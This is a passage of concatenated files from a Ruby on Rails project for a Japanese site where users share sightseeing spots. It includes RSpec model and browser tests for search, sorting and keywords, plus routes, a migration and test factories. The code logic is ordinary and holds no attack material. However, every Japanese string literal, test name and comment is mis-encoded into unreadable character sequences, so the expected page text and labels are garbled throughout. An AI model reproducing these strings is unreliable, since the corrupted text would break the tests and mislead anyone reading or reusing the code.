end
end
```
keyword_spec.rb
```require 'rails_helper'
RSpec.describe 'Keywordใขใใซใฎใในใ', type: :model do
describe 'ใขใฝใทใจใผใทใงใณใฎใในใ' do
context 'Keyword_relationshipใขใใซใจใฎ้ขไฟ' do
it '1:Nใจใชใฃใฆใใ' do
expect(Keyword.reflect_on_association(:keyword_relationships).macro).to eq :has_many
end
end
context 'Spotใขใใซใจใฎ้ขไฟ' do
it '1:Nใจใชใฃใฆใใ' do
expect(Keyword.reflect_on_association(:spots).macro).to eq :has_many
end
end
end
end
```
routes.rb
```Rails.application.routes.draw do
get "/" => "homes#top", as: "top"
get "/about" => "homes#about", as: "about"
devise_for :users, controllers: {registrations: 'users/registrations'}
resources :users, only: [:show, :index, :edit, :update] do
member do
get :following, :followers
end
end
resources :spots do
resources :comments, only: [:create, :destroy]
resource :favorites, only: [:create, :destroy]
end
resources :follow_relationships, only: [:create, :destroy]
resources :keywords, only: [:show, :index]
get "/rankings/user_favorite" => "rankings#user_favorite", as: "user_favorite_ranking"
get "/rankings/spot_favorite" => "rankings#spot_favorite", as: "spot_favorite_ranking"
resources :notifications, only: [:index]
delete "notifications" => "notifications#all_destroy", as: "user_notifications_all_destroy"
end
```
keyword.rb
```class Keyword < ApplicationRecord
has_many :keyword_relationships, dependent: :destroy, foreign_key: 'keyword_id'
has_many :spots, through: :keyword_relationships
end
```
user_spec.rb
```require 'rails_helper'
RSpec.describe 'Userใขใใซใฎใในใ', type: :model do
describe 'ใใชใใผใทใงใณใฎใในใ' do
subject { user.valid? }
let!(:other_user) { create(:user) }
let(:user) { build(:user) }
context 'fullnameใซใฉใ ' do
it '็ฉบๆฌใงใชใใใจ' do
user.fullname = ''
is_expected.to eq false
end
it '20ๆๅญไปฅไธใงใใใใจ: 20ๆๅญใฏใ' do
user.fullname = Faker::Lorem.characters(number: 20)
is_expected.to eq true
end
it '20ๆๅญไปฅไธใงใใใใจ: 21ๆๅญใฏร' do
user.fullname = Faker::Lorem.characters(number: 21)
is_expected.to eq false
end
end
context 'nicknameใซใฉใ ' do
it '็ฉบๆฌใงใชใใใจ' do
user.nickname = ''
is_expected.to eq false
end
it '20ๆๅญไปฅไธใงใใใใจ: 20ๆๅญใฏใ' do
user.nickname = Faker::Lorem.characters(number: 20)
is_expected.to eq true
end
it '20ๆๅญไปฅไธใงใใใใจ: 21ๆๅญใฏร' do
user.nickname = Faker::Lorem.characters(number: 21)
is_expected.to eq false
end
it 'ไธๆๆงใใใใใจ' do
user.nickname = other_user.nickname
is_expected.to eq false
end
end
context 'sexใซใฉใ ' do
it 'ๆช้ธๆใงใชใใใจ' do
user.sex = nil
is_expected.to eq false
end
end
context 'birthdayใซใฉใ ' do
it 'ๆช้ธๆใงใชใใใจ' do
user.birthday = nil
is_expected.to eq false
end
it 'ๆชๆฅใฎๆฅไปใงใชใใใจ' do
user.birthday = Date.today + 1
is_expected.to eq false
end
end
context 'prefectureใซใฉใ ' do
it 'ๆช้ธๆใงใชใใใจ' do
user.prefecture = nil
is_expected.to eq false
end
end
context 'cityใซใฉใ ' do
it '็ฉบๆฌใงใชใใใจ' do
user.city = ''
is_expected.to eq false
end
it '15ๆๅญไปฅไธใงใใใใจ: 15ๆๅญใฏใ' do
user.city = Faker::Lorem.characters(number: 15)
is_expected.to eq true
end
it '15ๆๅญไปฅไธใงใใใใจ: 16ๆๅญใฏร' do
user.city = Faker::Lorem.characters(number: 16)
is_expected.to eq false
end
end
context 'introductionใซใฉใ ' do
it '50ๆๅญไปฅไธใงใใใใจ: 50ๆๅญใฏใ' do
user.introduction = Faker::Lorem.characters(number: 50)
is_expected.to eq true
end
it '50ๆๅญไปฅไธใงใใใใจ: 51ๆๅญใฏร' do
user.introduction = Faker::Lorem.characters(number: 51)
is_expected.to eq false
end
end
end
describe 'ใขใฝใทใจใผใทใงใณใฎใในใ' do
context 'Spotใขใใซใจใฎ้ขไฟ' do
it '1:Nใจใชใฃใฆใใ' do
expect(User.reflect_on_association(:spots).macro).to eq :has_many
end
end
context 'FollowRelationshipใขใใซใจใฎ้ขไฟ' do
it 'followingใจ1:Nใจใชใฃใฆใใ' do
expect(User.reflect_on_association(:following).macro).to eq :has_many
end
it 'followersใจ1:Nใจใชใฃใฆใใ' do
expect(User.reflect_on_association(:followers).macro).to eq :has_many
end
end
context 'Notificationใขใใซใจใฎ้ขไฟ' do
it 'serverใจ1:Nใจใชใฃใฆใใ' do
expect(User.reflect_on_association(:servers).macro).to eq :has_many
end
it 'hostใจ1:Nใจใชใฃใฆใใ' do
expect(User.reflect_on_association(:hosts).macro).to eq :has_many
end
end
context 'Commentใขใใซใจใฎ้ขไฟ' do
it '1:Nใจใชใฃใฆใใ' do
expect(User.reflect_on_association(:comments).macro).to eq :has_many
end
end
context 'Favoriteใขใใซใจใฎ้ขไฟ' do
it '1:Nใจใชใฃใฆใใ' do
expect(User.reflect_on_association(:favorites).macro).to eq :has_many
end
end
end
describe 'following, followers้ข้ฃใฎใในใ' do
let(:user) { create(:user) }
let(:other_user) { create(:other_user) }
it 'following, followersใฎ้ขไฟๆงใๆญฃใใใ' do
expect(user.following?(other_user)).to eq false
user.follow(other_user)
expect(user.following?(other_user)).to eq true
expect(other_user.followers.include?(user)).to eq true
user.unfollow(other_user)
expect(user.following?(other_user)).to eq false
end
end
end
```
20210308080154_create_keyword_relationships.rb
```class CreateKeywordRelationships < ActiveRecord::Migration[5.2]
def change
create_table :keyword_relationships do |t|
t.integer :spot_id
t.integer :keyword_id
t.timestamps
end
end
end
```
20210409050022_create_notifications.rb
```class CreateNotifications < ActiveRecord::Migration[5.2]
def change
create_table :notifications do |t|
t.integer :spot_id
t.integer :server_id
t.integer :host_id
t.integer :comment_id
t.string :kind
t.boolean :check, default: false, null: false
t.timestamps
end
end
end
```
spots.rb
```FactoryBot.define do
factory :spot do
title { Faker::Lorem.characters(number: 10) }
prefecture { 'ๆฑไบฌ้ฝ' }
city { Faker::Lorem.characters(number: 5) }
visited_day { '2020-01-01' }
rate { '5' }
spot_image1 { File.open("#{Rails.root}/app/assets/images/image1.jpg") }
spot_image2 { File.open("#{Rails.root}/app/assets/images/image2.jpg") }
spot_image3 { File.open("#{Rails.root}/app/assets/images/image3.jpg") }
content { Faker::Lorem.characters(number: 50) }
user
factory :other_spot do
prefecture { '็ฅๅฅๅท็' }
visited_day { '2019-01-01' }
rate { '4' }
spot_image1 { File.open("#{Rails.root}/app/assets/images/image4.jpg") }
spot_image2 { File.open("#{Rails.root}/app/assets/images/image5.jpg") }
spot_image3 { File.open("#{Rails.root}/app/assets/images/image6.jpg") }
end
factory :search_spot do
title { 'ใใฃใบใใผใฉใณใ' }
prefecture { 'ๅ่็' }
city { 'ๆตฆๅฎๅธ' }
visited_day { '2020-01-01' }
rate { '5' }
end
factory :search_spot2 do
title { '็จฒ่ทๅฑฑๅคๅขณ' }
prefecture { 'ๅผ็็' }
city { '่ก็ฐๅธ' }
visited_day { '2021-01-01' }
rate { '4' }
end
factory :search_spot3 do
title { 'ๅคงไป้ตๅคๅขณ' }
prefecture { 'ๅคง้ชๅบ' }
city { 'ๅ บๅธ' }
visited_day { '2019-01-01' }
rate { '3' }
end
end
end
```
01_before_login_spec.rb
```require 'rails_helper'
describe '[STEP1] ใฆใผใถใญใฐใคใณๅใฎใในใ' do
describe 'ใใใ็ป้ขใฎใในใ' do
let(:user) { create(:user) }
let!(:search_spot) { create(:search_spot, user: user) }
let!(:search_spot2) { create(:search_spot2, user: user) }
let!(:favorite) { create(:favorite, user: nil, spot: search_spot) }
let!(:favorite2) { create(:favorite, user: nil, spot: search_spot) }
let!(:favorite3) { create(:favorite, user: nil, spot: search_spot2) }
before do
visit top_path
end
context '่กจ็คบๅ
ๅฎนใฎ็ขบ่ช' do
it 'URLใๆญฃใใ' do
expect(current_path).to eq '/'
end
it 'ๆฐ่ฆ็ป้ฒใชใณใฏใ่กจ็คบใใใ: ๅทฆไธใใ3็ช็ฎใฎใชใณใฏใใๆฐ่ฆ็ป้ฒใใงใใ' do
sign_up_link = find_all('a')[2].native.inner_text
expect(sign_up_link).to match('ๆฐ่ฆ็ป้ฒ')
end
it 'ๆฐ่ฆ็ป้ฒใชใณใฏใฎๅ
ๅฎนใๆญฃใใ' do
sign_up_link = find_all('a')[2]
sign_up_link.click
expect(current_path).to eq('/users/sign_up')
end
it 'ใญใฐใคใณใชใณใฏใ่กจ็คบใใใ: ๅทฆไธใใ4็ช็ฎใฎใชใณใฏใใใญใฐใคใณใใงใใ' do
log_in_link = find_all('a')[3].native.inner_text
expect(log_in_link).to match('ใญใฐใคใณ')
end
it 'ใญใฐใคใณใชใณใฏใฎๅ
ๅฎนใๆญฃใใ' do
log_in_link = find_all('a')[3]
log_in_link.click
expect(current_path).to eq('/users/sign_in')
end
end
context 'ๆฐ็ในใใใ็ป้ขใฎใในใ' do
it 'ใๆฐ็ในใใใใใจ่กจ็คบใใใฆใใ' do
expect(page).to have_content 'ๆฐ็ในใใใ'
end
it 'ในใใใใฎ็ปๅ(1ๆ็ฎ)ใ่กจ็คบใใใฆใใ' do
expect(page).to have_selector("img[src$='spot_image1.jpeg']")
end
it 'ๅในใใใใฎใฟใคใใซใ่กจ็คบใใใใชใณใฏๅ
ใใใใใๆญฃใใ' do
expect(page).to have_link search_spot.title, href: spot_path(search_spot)
expect(page).to have_link search_spot2.title, href: spot_path(search_spot2)
end
it 'ๅในใใใใฎๆๅจๅฐใ่กจ็คบใใใ' do
expect(page).to have_content search_spot.prefecture
expect(page).to have_content search_spot2.prefecture
expect(page).to have_content search_spot.city
expect(page).to have_content search_spot2.city
end
it 'ๅในใใใใฎๆ็จฟๆฅใ่กจ็คบใใใ' do
expect(page).to have_content search_spot.created_at.strftime("%Yๅนด%-mๆ%-dๆฅ")
expect(page).to have_content search_spot2.created_at.strftime("%Yๅนด%-mๆ%-dๆฅ")
end
it 'ๅในใใใใฎๆฅ่จชๆฅใ่กจ็คบใใใ' do
expect(page).to have_content search_spot.visited_day.strftime("%Yๅนด%-mๆ%-dๆฅ")
expect(page).to have_content search_spot2.visited_day.strftime("%Yๅนด%-mๆ%-dๆฅ")
end
it 'ๅในใใใใฎ่ฉไพกใ่กจ็คบใใใ', js: true do
expect(page).to have_content search_spot.rate
expect(page).to have_content search_spot2.rate
sleep 3
end
it 'ๅในใใใใฎใใใญใใฟใณใ่กจ็คบใใใ' do
expect(page).to have_link '', href: spot_favorites_path(search_spot)
expect(page).to have_link '', href: spot_favorites_path(search_spot2)
end
it 'ๅในใใใใฎใใใญๆฐใ่กจ็คบใใใ' do
expect(page).to have_content search_spot.favorites.count
expect(page).to have_content search_spot2.favorites.count
end
end
context 'ในใใใๆค็ดขใฎใในใ(ใญใผใฏใผใไปฅๅค)' do
it 'ใในใใใใๆขใใฆใฟใใใจ่กจ็คบใใใฆใใ' do
expect(page).to have_content 'ในใใใใๆขใใฆใฟใ'
end
it '้ฝ้ๅบ็ใใฉใผใ ใ่กจ็คบใใใฆใใ' do
expect(page).to have_field 'q[prefecture_eq]'
end
it 'ๅธๅบ็บๆใใฉใผใ ใ่กจ็คบใใใฆใใ' do
expect(page).to have_field 'q[city_cont]'
end
it 'ใฟใคใใซใใฉใผใ ใ่กจ็คบใใใฆใใ' do
expect(page).to have_field 'q[title_cont]'
end
it 'ใญใผใฏใผใใใฉใผใ ใ่กจ็คบใใใฆใใ' do
expect(page).to have_field 'q[keywords_keyword_cont]'
end
it 'ๆค็ดขใใฟใณใ่กจ็คบใใใ' do
expect(page).to have_button 'ๆค็ดข'
end
it '้ฝ้ๅบ็ใงใฎๆค็ดข๏ผๆกไปถใซๅ่ดใใใใฎใ ใใ่กจ็คบใใใใ' do
select 'ๅ่็', from: 'q_prefecture_eq'
click_button 'ๆค็ดข'
expect(page).to have_content 'ใใฃใบใใผใฉใณใ'
expect(page).not_to have_content '็จฒ่ทๅฑฑๅคๅขณ'
end
it 'ๅธๅบ็บๆใงใฎๆค็ดข๏ผๆกไปถใซๅ่ดใใใใฎใ ใใ่กจ็คบใใใใ' do
fill_in 'q[city_cont]', with: '่ก็ฐ'
click_button 'ๆค็ดข'
expect(page).not_to have_content 'ใใฃใบใใผใฉใณใ'
expect(page).to have_content '็จฒ่ทๅฑฑๅคๅขณ'
end
it 'ใฟใคใใซใงใฎๆค็ดข๏ผๆกไปถใซๅ่ดใใใใฎใ ใใ่กจ็คบใใใใ' do
fill_in 'q[title_cont]', with: 'ใใฃใบใใผ'
click_button 'ๆค็ดข'
expect(page).to have_content 'ใใฃใบใใผใฉใณใ'
expect(page).not_to have_content '็จฒ่ทๅฑฑๅคๅขณ'
end
end
context 'ในใใใๆค็ดขใฎใในใ(ใญใผใฏใผใ)' do
before do
visit new_user_session_path
fill_in 'user[email]', with: user.email
fill_in 'user[password]', with: user.password
click_button 'ใญใฐใคใณ'
visit edit_spot_path(search_spot)
fill_in 'spot[keyword]', with: 'ๅคขใฎๅฝ ใใใญใผ'
click_button 'ๆดๆฐใใ'
visit edit_spot_path(search_spot2)
fill_in 'spot[keyword]', with: '็จฒ่ทๅฑฑๅ
ฌๅ ๅๆนๅพๅๅขณ'
click_button 'ๆดๆฐใใ'
click_link 'ใญใฐใขใฆใ'
end
it 'ใฟใคใใซใงใฎๆค็ดข๏ผๆกไปถใซๅ่ดใใใใฎใ ใใ่กจ็คบใใใใ' do
fill_in 'q[keywords_keyword_cont]', with: 'ใใใญใผ'
click_button 'ๆค็ดข'
expect(page).to have_content 'ใใฃใบใใผใฉใณใ'
expect(page).not_to have_content '็จฒ่ทๅฑฑๅคๅขณ'
end
end
context 'ใฝใผใๆฉ่ฝใฎใในใ(ในใใใไธ่ฆง็ป้ข)' do
before do
click_button 'ๆค็ดข'
end
it 'ใฟใคใใซใฎใฝใผใ๏ผๆญฃใใ่กจ็คบใใใใ' do
click_link 'ใฟใคใใซ' # ๆ้
first_spot_link = find_all('a')[10].native.inner_text
expect(first_spot_link).to match('ใใฃใบใใผใฉใณใ')
click_link 'ใฟใคใใซ' # ้้
first_spot_link = find_all('a')[10].native.inner_text
expect(first_spot_link).to match('็จฒ่ทๅฑฑๅคๅขณ')
end
it 'ๆๅจๅฐใฎใฝใผใ๏ผๆญฃใใ่กจ็คบใใใใ' do
click_link 'ๆๅจๅฐ' # ๆ้
first_spot_link = find_all('a')[10].native.inner_text
expect(first_spot_link).to match('็จฒ่ทๅฑฑๅคๅขณ')
click_link 'ๆๅจๅฐ' # ้้
first_spot_link = find_all('a')[10].native.inner_text
expect(first_spot_link).to match('ใใฃใบใใผใฉใณใ')
end
it 'ๆ็จฟๆฅใฎใฝใผใ๏ผๆญฃใใ่กจ็คบใใใใ' do
click_link 'ๆ็จฟๆฅ' # ๆ้
first_spot_link = find_all('a')[10].native.inner_text
expect(first_spot_link).to match('ใใฃใบใใผใฉใณใ')
click_link 'ๆ็จฟๆฅ' # ้้
first_spot_link = find_all('a')[10].native.inner_text
expect(first_spot_link).to match('็จฒ่ทๅฑฑๅคๅขณ')
end
it 'ๆฅ่จชๆฅใฎใฝใผใ๏ผๆญฃใใ่กจ็คบใใใใ' do
click_link 'ๆฅ่จชๆฅ' # ๆ้
first_spot_link = find_all('a')[10].native.inner_text
expect(first_spot_link).to match('ใใฃใบใใผใฉใณใ')
click_link 'ๆฅ่จชๆฅ' # ้้
first_spot_link = find_all('a')[10].native.inner_text
expect(first_spot_link).to match('็จฒ่ทๅฑฑๅคๅขณ')
end
it '่ฉไพกใฎใฝใผใ๏ผๆญฃใใ่กจ็คบใใใใ' do
click_link '่ฉไพก' # ๆ้
first_spot_link = find_all('a')[10].native.inner_text
expect(first_spot_link).to match('็จฒ่ทๅฑฑๅคๅขณ')
click_link '่ฉไพก' # ้้
first_spot_link = find_all('a')[10].native.inner_text
expect(first_spot_link).to match('ใใฃใบใใผใฉใณใ')
end
it 'ใใใญใฎใฝใผใ๏ผๆญฃใใ่กจ็คบใใใใ' do
click_link 'ใใใญ' #ๆ้
first_spot_link = find_all('a')[10].native.inner_text
expect(first_spot_link).to match('็จฒ่ทๅฑฑๅคๅขณ')
click_link 'ใใใญ' #้้
first_spot_link = find_all('a')[10].native.inner_text
expect(first_spot_link).to match('ใใฃใบใใผใฉใณใ')
end
end
end
describe 'ในใใใ่ฉณ็ดฐ็ป้ขใฎใในใ' do
let(:user) { create(:user) }
let!(:spot) { create(:spot, user: user) }
let!(:comment) { create(:comment, user: user, spot: spot) }
before do
visit spot_path(spot)
end
context '่กจ็คบๅ
ๅฎนใฎ็ขบ่ช' do
it 'URLใๆญฃใใ' do
expect(current_path).to eq '/spots/' + spot.id.to_s
end
it 'ในใใใใฎใฟใคใใซใ่กจ็คบใใใ' do
expect(page).to have_content spot.title
end
it 'ในใใใใฎๆๅจๅฐใ่กจ็คบใใใ' do
expect(page).to have_content spot.prefecture
expect(page).to have_content spot.city
end
it 'ในใใใใฎๆ็จฟๆฅใ่กจ็คบใใใ' do
expect(page).to have_content spot.created_at.strftime("%Yๅนด%-mๆ%-dๆฅ")
end
it 'ในใใใใฎๆฅ่จชๆฅใ่กจ็คบใใใ' do
expect(page).to have_content spot.visited_day.strftime("%Yๅนด%-mๆ%-dๆฅ")
end
it 'ในใใใใฎ่ฉไพกใ่กจ็คบใใใ', js: true do
expect(page).to have_content spot.rate
sleep 3
end
it 'ในใใใใฎใใใญใใฟใณใจใใใญๆฐใ่กจ็คบใใใ' do
expect(page).to have_link '', href: spot_favorites_path(spot)
expect(page).to have_content spot.favorites.count
end
it 'ในใใใใฎ็ปๅใ่กจ็คบใใใ' do
expect(page).to have_selector("img[src$='spot_image1.jpeg']")
expect(page).to have_selector("img[src$='spot_image2.jpeg']")
expect(page).to have_selector("img[src$='spot_image3.jpeg']")
end
it 'ในใใใใฎๅ
ๅฎนใ่กจ็คบใใใ' do
expect(page).to have_content spot.content
end
it 'ในใใใใฎ็ทจ้ใใฟใณใฏ่กจ็คบใใใชใ' do
expect(page).not_to have_link '็ทจ้ใใ', href: edit_spot_path(spot)
end
it 'ในใใใใฎๅ้คใใฟใณใฏ่กจ็คบใใใชใ' do
expect(page).not_to have_link 'ๅ้คใใ', href: spot_path(spot)
end
end
context 'ใตใคใใใผใฎ็ขบ่ช' do
it 'ใๆ็จฟ่
ใใญใใฃใผใซใใจ่กจ็คบใใใฆใใ' do
expect(page).to have_content 'ๆ็จฟ่
ใใญใใฃใผใซ'
end
it '่ชๅใฎใใญใใฃใผใซ็ปๅใ่กจ็คบใใใ' do
expect(page).to have_selector("img[src$='profile_image.jpeg']")
end
it '่ชๅใฎใใใฏใใผใ ใ่กจ็คบใใใ' do
expect(page).to have_content user.nickname
end
it '่ชๅใฎๆงๅฅใ่กจ็คบใใใ' do
expect(page).to have_content user.sex
end
it '่ชๅใฎๅนด้ฝขใ่กจ็คบใใใ' do
expect(page).to have_content user.age
end
it '่ชๅใฎไฝๆใ่กจ็คบใใใ' do
expect(page).to have_content user.prefecture
expect(page).to have_content user.city
end
it '่ชๅใฎ่ชๅทฑ็ดนไปใ่กจ็คบใใใ' do
expect(page).to have_content user.introduction
end
it 'ใใใญใใฃใผใซใใฟใใ(ใฆใผใถใผ่ฉณ็ดฐ็ป้ขใธใฎใชใณใฏ)ใฏ่กจ็คบใใใชใ' do
expect(page).not_to have_link 'ใใญใใฃใผใซใใฟใ', href: user_path(user)
end
end
context 'ใณใกใณใใจใชใขใฎใในใ' do
it 'ใใณใกใณใใใจ่กจ็คบใใใ' do
expect(page).to have_content 'ใณใกใณใ'
end
it 'ใณใกใณใใฎๅ
จไปถๆฐใ่กจ็คบใใใ' do
expect(page).to have_content "ๅ
จ#{spot.comments.count}ไปถ"
end
it 'ใณใกใณใใใใฆใผใถใผใฎใใใฏใใผใ ใ่กจ็คบใใใ(ใชใณใฏใงใฏใชใ)' do
expect(page).to have_content user.nickname
expect(page).not_to have_link user.nickname, href: user_path(user)
end
it 'ใณใกใณใใฎๅ
ๅฎนใ่กจ็คบใใใ' do
expect(page).to have_content comment.comment
end
it 'ใณใกใณใใฎ้ไฟกๆฅๆใ่กจ็คบใใใ' do
expect(page).to have_content comment.created_at.strftime("%Yๅนด%-mๆ%-dๆฅ %-H:%M")
end
it 'ใณใกใณใใฎๅ้คใชใณใฏใฏ่กจ็คบใใใชใ' do
expect(page).not_to have_link 'delete-' + comment.id.to_s + '-btn'
end
it 'ใณใกใณใๅ
ฅๅใจใชใขใฏ่กจ็คบใใใชใ' do
expect(page).not_to have_content 'ใณใกใณใใใฉใใ'
expect(page).not_to have_field 'comment[comment]'
expect(page).not_to have_button '้ไฟกใใ'
end
end
context 'ใญใผใฏใผใ้ข้ฃใฎใในใ' do
before do
visit new_user_session_path
fill_in 'user[email]', with: user.email
fill_in 'user[password]', with: user.password
click_button 'ใญใฐใคใณ'
visit edit_spot_path(spot)
fill_in 'spot[keyword]', with: 'ๆฑไบฌ้ง
ไธธใฎๅ
'
find('input[@name="spot[rate]"]', visible: false).set('5')
click_button 'ๆดๆฐใใ'
click_link 'ใญใฐใขใฆใ'
end
it 'ในใใใ่ฉณ็ดฐ็ป้ขใใญใผใฏใผใใ่กจ็คบใใใใชใณใฏๅ
ใๆญฃใใ' do
visit spot_path(spot)
expect(page).to have_link 'ๆฑไบฌ้ง
', href: keyword_path(Keyword.first)
expect(page).to have_link 'ไธธใฎๅ
', href: keyword_path(Keyword.last)
end
end
end
describe 'ใญใผใฏใผใ่ฉณ็ดฐ็ป้ขใฎใในใ' do
let(:user) { create(:user) }
let!(:other_user) { create(:user) }
let!(:spot) { create(:search_spot2, user: user) }
let!(:other_spot) { create(:search_spot3, user: user) }
let!(:favorite1) { create(:favorite, user: user, spot: spot) }
let!(:favorite2) { create(:favorite, user: user, spot: other_spot) }
let!(:favorite3) { create(:favorite, user: other_user, spot: spot) }
before do
visit new_user_session_path
fill_in 'user[email]', with: user.email
fill_in 'user[password]', with: user.password
click_button 'ใญใฐใคใณ'
visit edit_spot_path(spot)
fill_in 'spot[keyword]', with: 'ๅๆนๅพๅๅขณ'
find('input[@name="spot[rate]"]', visible: false).set('4')
click_button 'ๆดๆฐใใ'
visit edit_spot_path(other_spot)
fill_in 'spot[keyword]', with: 'ๅๆนๅพๅๅขณ'
find('input[@name="spot[rate]"]', visible: false).set('3')
click_button 'ๆดๆฐใใ'
click_link 'ใญใฐใขใฆใ'
visit keyword_path(Keyword.first)
end
context '่กจ็คบใฎ็ขบ่ช' do
it 'ใใญใผใฏใผใ๏ผใใญใผใฏใผใๅใ ในใใใไธ่ฆงใใจ่กจ็คบใใใ' do
expect(page).to have_content "ใญใผใฏใผใ๏ผใ#{Keyword.first.keyword}ใ ในใใใไธ่ฆง"
end
it 'ในใใใใฎ็ปๅ(1ๆ็ฎ)ใ่กจ็คบใใใฆใใ' do
expect(page).to have_selector("img[src$='spot_image1.jpeg']")
end
it 'ๅในใใใใฎใฟใคใใซใ่กจ็คบใใใใชใณใฏๅ
ใใใใใๆญฃใใ' do
expect(page).to have_link spot.title, href: spot_path(spot)
expect(page).to have_link other_spot.title, href: spot_path(other_spot)
end
it 'ๅในใใใใฎๆๅจๅฐใ่กจ็คบใใใ' do
expect(page).to have_content spot.prefecture
expect(page).to have_content other_spot.prefecture
expect(page).to have_content spot.city
expect(page).to have_content other_spot.city
end
it 'ๅในใใใใฎๆ็จฟๆฅใ่กจ็คบใใใ' do
expect(page).to have_content spot.created_at.strftime("%Yๅนด%-mๆ%-dๆฅ")
expect(page).to have_content other_spot.created_at.strftime("%Yๅนด%-mๆ%-dๆฅ")
end
it 'ๅในใใใใฎๆฅ่จชๆฅใ่กจ็คบใใใ' do
expect(page).to have_content spot.visited_day.strftime("%Yๅนด%-mๆ%-dๆฅ")
expect(page).to have_content other_spot.visited_day.strftime("%Yๅนด%-mๆ%-dๆฅ")
end
it 'ๅในใใใใฎใใใญใใฟใณใ่กจ็คบใใใ' do
expect(page).to have_link '', href: spot_favorites_path(spot)
expect(page).to have_link '', href: spot_favorites_path(other_spot)
end
it 'ๅในใใใใฎใใใญๆฐใ่กจ็คบใใใ' do
expect(page).to have_content spot.favorites.count
expect(page).to have_content other_spot.favorites.count
end
end
context 'ใฝใผใๆฉ่ฝใฎใในใ(ใญใผใฏใผใ่ฉณ็ดฐ็ป้ข)' do
it 'ใฟใคใใซใฎใฝใผใ๏ผๆญฃใใ่กจ็คบใใใใ' do
click_link 'ใฟใคใใซ' # ๆ้
first_spot_link = find_all('a')[10].native.inner_text
expect(first_spot_link).to match('ๅคงไป้ตๅคๅขณ')
click_link 'ใฟใคใใซ' # ้้
first_spot_link = find_all('a')[10].native.inner_text
expect(first_spot_link).to match('็จฒ่ทๅฑฑๅคๅขณ')
end
it 'ๆๅจๅฐใฎใฝใผใ๏ผๆญฃใใ่กจ็คบใใใใ' do
click_link 'ๆๅจๅฐ' # ๆ้
first_spot_link = find_all('a')[10].native.inner_text
expect(first_spot_link).to match('็จฒ่ทๅฑฑๅคๅขณ')
click_link 'ๆๅจๅฐ' # ้้
first_spot_link = find_all('a')[10].native.inner_text
expect(first_spot_link).to match('ๅคงไป้ตๅคๅขณ')
end
it 'ๆ็จฟๆฅใฎใฝใผใ๏ผๆญฃใใ่กจ็คบใใใใ' do
click_link 'ๆ็จฟๆฅ' # ๆ้
first_spot_link = find_all('a')[10].native.inner_text
expect(first_spot_link).to match('็จฒ่ทๅฑฑๅคๅขณ')
click_link 'ๆ็จฟๆฅ' # ้้
first_spot_link = find_all('a')[10].native.inner_text
expect(first_spot_link).to match('ๅคงไป้ตๅคๅขณ')
end
it 'ๆฅ่จชๆฅใฎใฝใผใ๏ผๆญฃใใ่กจ็คบใใใใ' do
click_link 'ๆฅ่จชๆฅ' # ๆ้
first_spot_link = find_all('a')[10].native.inner_text
expect(first_spot_link).to match('ๅคงไป้ตๅคๅขณ')
click_link 'ๆฅ่จชๆฅ' # ้้
first_spot_link = find_all('a')[10].native.inner_text
expect(first_spot_link).to match('็จฒ่ทๅฑฑๅคๅขณ')
end
it '่ฉไพกใฎใฝใผใ๏ผๆญฃใใ่กจ็คบใใใใ' do
click_link '่ฉไพก' # ๆ้
first_spot_link = find_all('a')[10].native.inner_text
expect(first_spot_link).to match('ๅคงไป้ตๅคๅขณ')
click_link '่ฉไพก' # ้้
first_spot_link = find_all('a')[10].native.inner_text
expect(first_spot_link).to match('็จฒ่ทๅฑฑๅคๅขณ')
end
it 'ใใใญใฎใฝใผใ๏ผๆญฃใใ่กจ็คบใใใใ' do
click_link 'ใใใญ' #ๆ้
first_spot_link = find_all('a')[10].native.inner_text
expect(first_spot_link).to match('ๅคงไป้ตๅคๅขณ')
click_link 'ใใใญ' #้้
first_spot_link = find_all('a')[10].native.inner_text
expect(first_spot_link).to match('็จฒ่ทๅฑฑๅคๅขณ')
end
end
end
describe 'ใขใใฆใ็ป้ขใฎใในใ' do
before do
visit '/about'
end
context '่กจ็คบๅ
ๅฎนใฎ็ขบ่ช' do
it 'URLใๆญฃใใ' do
expect(current_path).to eq '/about'
end
end
end
describe 'ใใใใผใฎใในใ: ใญใฐใคใณใใฆใใชใๅ ดๅ' do
before do
visit top_path
end
context '่กจ็คบๅ
ๅฎนใฎ็ขบ่ช' do
it 'ใฟใคใใซใ่กจ็คบใใใ' do
expect(page).to have_content 'JapanSiteInfo'
end
it 'ใขใใฆใใชใณใฏใ่กจ็คบใใใ: ๅทฆไธใใ2็ช็ฎใฎใชใณใฏใใJSIใจใฏ๏ผใใงใใ' do
about_link = find_all('a')[1].native.inner_text
expect(about_link).to match('JSIใจใฏ๏ผ')
end
it 'ๆฐ่ฆ็ป้ฒใชใณใฏใ่กจ็คบใใใ: ๅทฆไธใใ3็ช็ฎใฎใชใณใฏใใๆฐ่ฆ็ป้ฒใใงใใ' do
signup_link = find_all('a')[2].native.inner_text
expect(signup_link).to match('ๆฐ่ฆ็ป้ฒ')
end
it 'ใญใฐใคใณใชใณใฏใ่กจ็คบใใใ: ๅทฆไธใใ4็ช็ฎใฎใชใณใฏใใใญใฐใคใณใใงใใ' do
login_link = find_all('a')[3].native.inner_text
expect(login_link).to match('ใญใฐใคใณ')
end
end
context 'ใชใณใฏใฎๅ
ๅฎนใ็ขบ่ช' do
subject { current_path }
it 'ใJapanSiteInfoใใๆผใใจใใใใ็ป้ขใซ้ท็งปใใ' do
home_link = find_all('a')[0].native.inner_text
home_link = home_link.delete(' ')
home_link.gsub!(/\n/, '')
click_link home_link
is_expected.to eq '/'
end
it 'ใJSIใจใฏ๏ผใใๆผใใจใใขใใฆใ็ป้ขใซ้ท็งปใใ' do
about_link = find_all('a')[1].native.inner_text
about_link = about_link.gsub(/\n/, '').gsub(/\A\s*/, '').gsub(/\s*\Z/, '')
click_link about_link
is_expected.to eq '/about'
end
it 'ใๆฐ่ฆ็ป้ฒใใๆผใใจใๆฐ่ฆ็ป้ฒ็ป้ขใซ้ท็งปใใ' do
signup_link = find_all('a')[2].native.inner_text
signup_link = signup_link.gsub(/\n/, '').gsub(/\A\s*/, '').gsub(/\s*\Z/, '')
click_link signup_link
is_expected.to eq '/users/sign_up'
end
it 'ใใญใฐใคใณใใๆผใใจใใญใฐใคใณ็ป้ขใซ้ท็งปใใ' do
login_link = find_all('a')[3].native.inner_text
login_link = login_link.gsub(/\n/, '').gsub(/\A\s*/, '').gsub(/\s*\Z/, '')
click_link login_link
is_expected.to eq '/users/sign_in'
end
end
end
describe 'ใฆใผใถๆฐ่ฆ็ป้ฒใฎใในใ' do
before do
visit new_user_registration_path
end
context '่กจ็คบๅ
ๅฎนใฎ็ขบ่ช' do
it 'URLใๆญฃใใ' do
expect(current_path).to eq '/users/sign_up'
end
it 'ใๆฐ่ฆไผๅก็ป้ฒใใจ่กจ็คบใใใ' do
